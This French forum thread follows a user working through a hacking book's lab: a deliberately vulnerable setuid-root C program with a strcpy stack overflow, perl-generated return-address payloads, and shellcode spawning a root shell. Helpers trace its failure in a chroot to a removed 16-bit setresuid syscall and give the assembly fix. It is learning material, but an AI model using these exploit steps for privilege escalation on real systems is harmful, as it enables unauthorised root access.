Page 1 sur 1

[CAPABILITIES][CHROOT vieux env linux] Comment les virés? (résolu)

Publié : dim. 13 mai 2018, 19:58
par Distag
Bonjour,

Je chroot un environement d'un vieux kernel d'avant Linux 3.1 à cette époque il n'y avait pas de gestion des capabilities par défaut par le kernel.

Pour avoir un environnement identique à l'original, je souhaiterais savoir comment je peux faire pour que dans mon environnement chroot la gestion des capabilities soient désactivés?

Merci d'avance pour vos éventuelles réponses.

Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?

Publié : dim. 13 mai 2018, 20:55
par benjarobin
Bonjour,
Je comprends la question, mais je ne comprends pas le besoin réel... Les capabilities sont stockées au niveau du système de fichier. Si tu es dans un vieux système de fichier, alors les fichiers n'ont aucune capabilities de configuré. Soit par contre bien conscient que bien que tu soit dans un chroot d'un vieux Linux, le kernel qui l’exécute est celui de ton PC, soit sûrement très récent.

Re: [CAPABILITIES][CHROOT vieux env linux] Comment les virés?

Publié : dim. 13 mai 2018, 21:56
par Distag
Je suis un livre sur le hacking, je suis les exemples du bouquin à la lettre. Le besoin est de faire sauter les mesures de protection qui n’avaient pas encore lieu à l’époque de l’écriture du bouquin.

Le paragraphe du bouquin sur lequel je suis
Les sources du bouquin

Dans le cas du problème, voici ce que je fais:

Code : Tout sélectionner

#mon utilisateur s’appelle reader dont id=1000
#games id=5
gcc -z execstack -o drop_privs drop_privs.c #code avec la faille et qui utilise seteuid(5) pour s’exécuter en tant qu’utilisateur games
sudo chown root ./drop_privs
sudo chmod u+s ./drop_privs
./drop_privs $(perl -e 'print "\x80\xde\xff\xff"x40') #ici on fait exécuter le shellcode1, j’obtiens un shell de l’utilisateur games ce qui est normal a ce niveau du livre
./drop_privs $(perl -e 'print "\x74\xde\xff\xff"x40') #ici un shellcode2 identique au premier mais qui devrait exécuter setresuid(0,0,0) en plus, je devrais alors comme sur le livre avoir ouvert un shell de l’utilisateur root, mais ce n’est pas le cas, j’ouvre encore un shell de l’utilisateur games, ce qui n’est pas normal
Ce problème me fait penser aux Capabilities

Code : Tout sélectionner

man Capabilities
Et apparemment ce serait peut-être CAP_SETUID qui poserait problème théoriquement ici.

Je n’y connais pas grand-chose en Capabilities, hormis le fait que d’un process root père a un process root fils on peut progressivement faire perdre des droits a tous ses processus root descendants.

Comme les capabilities sont gérés par le noyau et que c’est la plus grosse différence qu’il y ait entre l’environnement d’origine et l’environnement chroot, je suppose que cela vient de là.

Donc voila pourquoi j’aimerais savoir si les capabilities sont activés et savoir comment les désactiver spécifiquement sur cet environnement chroot

Édit: Précision: si a la place du chroot, j’émule l’environnement d’origine avec qemu, je n’ai pas ce problème. Mais cela ne résout pas mon problème, car je préfère utiliser l’environnement chroot

Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?

Publié : dim. 13 mai 2018, 22:57
par benjarobin
J'ai regardé vite fait, et je peux te garantir que ce n'est pas un problème de Capabilities. Car sur le papier ce qui est réalisé est tout à fait possible.
Cela correspond en gros à ce genre de code (qui fonctionne très bien), sauf que toi ton but étant de générer du code (ce genre de code) qui va se retrouver en stack, que tu vas pouvoir exécuter.

Code : Tout sélectionner

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
    int r;
    
    usleep(1000 * 1000 * 5);

    r = seteuid(2000);
    if (r != 0) perror("seteuid");

    printf("===\n");
    usleep(1000 * 1000 * 5);

    r = setresuid(0, 0, 0);
    if (r != 0) perror("setresuid");

    printf("===\n");
    usleep(1000 * 1000 * 5);

    return 0;
}
Edit: Ok, le code n'est pas dans la stack, mais dans une variable d'environnement. Je suis assez étonné que cela puisse fonctionner (la première étape).
Edit2: Il te manque pas des étapes ? Mettre le code dans une variable d'environnement ? Récupérer l’adresse de cette variable d'environnement ?

Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?

Publié : dim. 13 mai 2018, 23:26
par Distag
Dans le chroot, j’ai modifié ton code par

Code : Tout sélectionner

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
       int r = seteuid(5);
       if (r != 0)
          perror("seteuid");
       printf("euid=%d\n",geteuid());
       usleep(1000 * 1000 * 5);
       r = setresuid(0, 0, 0);
      if (r != 0)
         perror("setresuid");
      printf("euid=%d\n",geteuid());
      return 0;
}

Code : Tout sélectionner

gcc -o test test.c
sudo chown root ./test
sudo chmod u+s ./test
./test
Et j'obtiens

Code : Tout sélectionner

euid=5
euid=0
OK Donc ce n'est pas un problème de Capabilities

Il doit y avoir une protection autre part.

Le shellcode n’exécute que:

Code : Tout sélectionner

setresuid(0, 0, 0)
execve("/bin//sh", ["/bin//sh", NULL], [NULL])
À partir de la faille de cette implementation de strcpy

Code : Tout sélectionner

#include <unistd.h>
void lowered_privilege_function(unsigned char *ptr) {
   char buffer[50];
   seteuid(5);  // Drop privileges to games user.
   strcpy(buffer, ptr);
}
int main(int argc, char *argv[]) {
   if (argc > 0)
      lowered_privilege_function(argv[1]);
}
Reponse à l'Edit: C'est tout l'art du shellcode, mais sans gcc -z execstack cela ne marche pas
Réponse à l'Edit2: Je ne l’ai pas mis sur le forum. Mais je fais bien l’export du bon binaire avant. Cela s'execute, mais mon problème c'est que je n'ouvre pas le shell du bon utilisateur

Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?

Publié : lun. 14 mai 2018, 22:07
par Distag
J’ai trouvé un bout de solution, mais je ne comprends totalement.

Code : Tout sélectionner

grep -i setresuid /usr/include/asm-i386/unistd.h
#define __NR_setresuid		164
#define __NR_setresuid32	208
Dans le shellcode qui ne marche pas sur mon chroot, on fait appel au syscall 164, comme implémenté dans le livre et qui marche correctement dans l’environnement d’origine i686 avec Qemu
Dans le shellcode qui marche sur mon chroot, je l’ai remplacé par le syscall 208, ce qui est apparemment compatible avec un i686 émulé en chroot lancé avec "sudo linux32 chroot /mnt /bin/su - reader" sur un x86_64.
man 2 setresuid
[…]
Les appels système setresuid() et setresgid() originaux de Linux ne géraient que des identifiants d’utilisateur et de groupe sur 16 bits.
À partir de Linux 2.4 a été ajouté setresuid32() et setresgid32() qui prennent en charge des identifiants 32 bits.
https://en.wikipedia.org/wiki/User_iden ... onventions
Linux (before version 2.4) supported 16-bit UIDs, making 65536 unique IDs possible.
The majority of modern Unix-like systems (e.g., Solaris-2.0 in 1990, Linux 2.4 in 2001) have switched to 32-bit UIDs, allowing 4,294,967,296 unique IDs.

Code : Tout sélectionner

uname -a #linux32 chroot de l’image i686 avec noyau hôte
Linux archlinux 4.16.8-1-ARCH #1 SMP PREEMPT Wed May 9 11:25:02 UTC 2018 i686 GNU/Linux
uname -a #qemu de l'image i686 avec noyau originel
Linux ubuntu 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux
Mais pourquoi cela marche avec Qemu et l’environnement originel avec setresuid ou setresuid32 alors que sur chroot c'est seulement avec setresuid32?

Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?

Publié : lun. 14 mai 2018, 22:38
par benjarobin
Si tu appelles manuellement le syscall, quel errno et code de retour obtient tu ?
Il suffit d'utiliser la fonction syscall, et de passer correctement les paramètres à celle ci.

Il est tout à fait possible que le support de ce vieux syscall ait été supprimé à un moment donné. Le plus simple est de tester. Je te conseille de tester d'abord avec le nouveau code de syscall en affichant le code de retour et l'errno. Puis si le code fonctionne test avec l'ancien code de syscall... Je mise sur un code d'erreur syscall non supporté ou un truc dans le genre.

Désolé la flemme de chercher ou de tester, et je dois aller dormir...

Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?

Publié : mar. 15 mai 2018, 21:04
par Distag
J’ai écrit cela pour tester

Code : Tout sélectionner

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <errno.h>
#include <stdio.h>

//gcc -o test test.c -Wall; sudo chown root ./test; sudo chmod u+s ./test
int main(void)
{
    #ifdef __i386__
    printf("__i386__\nSYS_setresuid32:%d\n",SYS_setresuid32);
    #endif
    #ifdef __x86_64__
    printf("__x86_64__\n");
    #endif
    printf("SYS_setresuid:%d\nSYS_execve:%d\n",SYS_setresuid,SYS_execve);

    int ret;
    char *filename="/bin//sh";
    char *const argv[]={"/bin//sh",NULL};
    char *const envp[]={NULL};

    //*
    seteuid(5);
    ret=syscall(SYS_setresuid,0,0,0);
    if(ret==-1){perror("Error setresuid: ");return(-1);}
    ret=syscall(SYS_execve,filename,argv,envp);
    if(ret==-1){perror("Error execve: ");return(-1);}
    //*/
    /*
    seteuid(5);
    ret=syscall(SYS_setresuid32,0,0,0);
    if(ret==-1){perror("Error setresuid32: ");return(-1);}
    ret=syscall(SYS_execve,filename,argv,envp);
    if(ret==-1){perror("Error execve: ");return(-1);}
    //*/

    return 0;
} 
Dans le chroot, avec le bloc SYS_setresuid décommenté et SYS_setresuid32 commenté:

Code : Tout sélectionner

__i386__
SYS_setresuid32:208
SYS_setresuid:164
SYS_execve:11
Error setresuid: : Function not implemented
Dans le chroot, avec le bloc SYS_setresuid commenté et SYS_setresuid32 décommenté:

Code : Tout sélectionner

__i386__
SYS_setresuid32:208
SYS_setresuid:164
SYS_execve:11
sh-3.2# whoami
root
sh-3.2# exit  
exit
Avec Qemu dans les 2 cas:

Code : Tout sélectionner

__i386__
SYS_setresuid32:208
SYS_setresuid:164
SYS_execve:11
sh-3.2# whoami
root
sh-3.2# exit  
exit
Sur l'hote x86 du chroot, avec le bloc SYS_setresuid décommenté et SYS_setresuid32 commenté:

Code : Tout sélectionner

__x86_64__
SYS_setresuid:117
SYS_execve:59
sh-4.4# whoami
root
sh-4.4# exit
exit
Sur l'hote x86 du chroot, avec le bloc SYS_setresuid commenté et SYS_setresuid32 décommenté:
Ne compile pas « SYS_setresuid32 » non déclaré

Comment cela se fait-il que dans le chroot, il connaît le numéro de syscall 164, mais pas son implémentation?

Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?

Publié : mar. 15 mai 2018, 22:08
par benjarobin
Ah, cela fait plaisir d'arriver à deviner le problème, mon intuition était donc bonne :-)
C'est parfaitement logique ce qui se passe:
  • Avec un vieux noyaux (testé via qemu), tu as setresuid32 comme setresuid de disponible.
  • Mais sur un noyau récent, tu n'as plus que setresuid32 de disponible.
Pourquoi le code compile depuis le chroot, mais ne fonctionne pas ? C'est parfaitement logique, tu as la constante dans un .h, donc le code peut être généré, mais le chroot utilise le kernel de l’hôte, un kernel récent qui ne supporte plus ce vieux syscall.

Donc si veux toujours tester ce SHELLCODE, tu vas devoir modifier l'assembleur du SHELLCODE pour utiliser le nouveau syscall, le compiler, et finalement récupérer le binaire associé...

Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?

Publié : mar. 15 mai 2018, 22:21
par Distag
Sauf que sur l’hôte x86, il n'y a pas de setresuid32() mais un setresuid() ?

Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?

Publié : mar. 15 mai 2018, 22:30
par benjarobin
Attention l’hôte est en 64 bits donc ce n'est pas le même numéro de syscall. Et je pense que le setresuid() d'un linux 64 bits à toujours été l'équivalent d'un setresuid32() d'un linux 32 bits

Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?

Publié : mar. 15 mai 2018, 22:35
par Distag
OK donc résolu, Merci

Re: [CAPABILITIES][CHROOT vieux env linux] Comment les virés? (résolu)

Publié : mar. 15 mai 2018, 22:39
par benjarobin
Donc tu dois juste changer cette instruction:

Code : Tout sélectionner

mov al,  0xa4
Par

Code : Tout sélectionner

mov al,  0xd0